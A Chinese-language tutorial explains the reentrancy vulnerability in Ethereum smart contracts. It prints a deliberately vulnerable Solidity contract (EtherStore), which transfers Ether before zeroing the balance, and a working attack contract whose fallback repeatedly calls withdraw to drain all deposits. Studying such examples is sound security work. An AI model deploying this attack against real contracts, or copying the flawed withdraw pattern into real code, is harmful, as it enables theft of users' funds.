以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅仅局限于外部账户,合约账户同样可以拥有以太并进行转账等操作,且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑,这是一种隐藏的外部调用。
我们先给重入漏洞下个定义:可以认为合约中所有的外部调用都是不安全的,都有可能存在重入漏洞。例如:如果外部调用的目标是一个攻击者可以控制的恶意的合约,那么当被攻击的合约在调用恶意合约的时候攻击者可以执行恶意的逻辑然后再重新进入到被攻击合约的内部,通过这样的方式来发起一笔非预期的外部调用,从而影响被攻击合约正常的执行逻辑。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}问题分析
合约EtherStore提供了deposit、withdraw两个转入转出方法,还有一个查询合约账户的方法getBalance,在全局定义了一个balances mapping这个map用来记录每个用户账户转入到此合约的余额数(注意:这里balances只是作为记录,实际余额被转到合约账户中,可以理解为这里是个账本记录了每个人的余额类似虚拟账号,但是实际余额都放在一起,也就是都在合约账户中)
正因为余额放在了一起,攻击者才能通过重入偷走所有人的余额。这里合约中withdraw先判断账户在balances中是否有余额,然后向msg.sender用户通过call进行转账,这里就是问题所在,在执行call的时候会触发fallback函数,如果攻击者在fallback方法中再次调用withdraw方法,这个时候在balances中的msg.sender余额并没有变动(合约在转账完成后才在第16行对balances中的msg.sender余额清零)所以require(bal > 0)并不会触发中断,并接着执行msg.sender.call进行转账并触发fallback函数无限循环,直到合约账户余额为空
攻击合约
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1);
etherStore.deposit{value: 1}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
} 攻击合约传入EtherStore地址,在fallback中调用etherStore里的withdraw()来达成触发fallback重复调用withdraw,在attack方法中需要先向etherStore存入 1余额(不然无法调用withdraw方法,etherStore balances中攻击者并没有余额会触发 require(bal > 0))。
评论 (1)